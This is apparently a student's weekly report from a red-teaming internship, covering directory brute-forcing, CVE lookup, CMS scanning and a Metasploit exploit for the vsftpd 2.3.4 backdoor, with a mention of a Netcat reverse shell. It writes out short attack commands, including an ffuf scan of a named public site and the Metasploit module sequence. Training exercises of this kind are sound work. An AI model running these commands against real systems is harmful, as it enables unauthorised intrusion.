Share 
## https://sploitus.com/exploit?id=1FA24C6E-2C84-566E-81D6-2C3643042BFB
# πŸ•ΈοΈ Week 03 β€” Web Vulnerability Assessment & Exploitation

**Intern:** Ali Ahsan | **Roll No:** CSI-B1-427
**Program:** Cyberstar Cybersecurity Red Teaming Internship
**Instructor:** Umar Niaz
**Date:** 26 March 2026
**Target Domain:** hackthissite.org

---

## πŸ“Œ Overview

This week focused on discovering hidden web content, mapping services to known CVEs, scanning CMS platforms, and gaining an initial shell through Metasploit β€” forming a complete web-to-foothold attack chain.

---

## πŸ§ͺ Tasks Covered

### Task 01 β€” Advanced Web Directory & Parameter Discovery

**Directory Brute-Forcing:**
- **FFUF** β€” `ffuf -u https://hackthissite.org/FUZZ -w common.txt -fc 404`
- **Gobuster** β€” multi-threaded directory enumeration
- **Dirsearch** β€” extension-aware directory and file scanning

**Hidden Parameter Discovery:**
- **Arjun** β€” finds hidden GET/POST parameters
- **ParamSpider** β€” crawls URLs to extract unique parameters

**Common sensitive paths discovered:** `/admin`, `/config`, `/.git`, `/backup`, `/api`

### Task 02 β€” CVE Mapping & Exploit Research
- Collected service versions via `nmap -sV`
- Searched exploits with **Searchsploit**: `searchsploit vsftpd 2.3.4`
- Researched **CVE-2011-2523** (vsftpd 2.3.4 backdoor) on NVD and Exploit-DB
- Confirmed public exploit exists β†’ Remote Code Execution possible

### Task 03 β€” CMS Vulnerability Scanning
**WordPress (WPScan):**
- Set up vulnerable WordPress lab via Docker
- Basic scan, username enumeration, vulnerable plugin detection
- Aggressive plugin detection mode

**Joomla (JoomScan):**
- Docker-based Joomla lab setup
- Component and directory enumeration with Gobuster

### Task 04 β€” The First Shell (Metasploit Basics)
```bash
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 
exploit
```
- Verified shell access: `whoami`, `id`, `uname -a`
- **Bonus:** Reverse shell via Netcat listener on port 4444

---

## πŸ› οΈ Tools Used

`FFUF` Β· `Gobuster` Β· `Dirsearch` Β· `Arjun` Β· `ParamSpider` Β· `Searchsploit` Β· `WPScan` Β· `JoomScan` Β· `Metasploit` Β· `Netcat` Β· `Docker`

---

## ⚠️ Disclaimer

> Performed in an **authorized lab environment** using intentionally vulnerable applications (OWASP Juice Shop, VulnerableWordPress). For educational purposes only.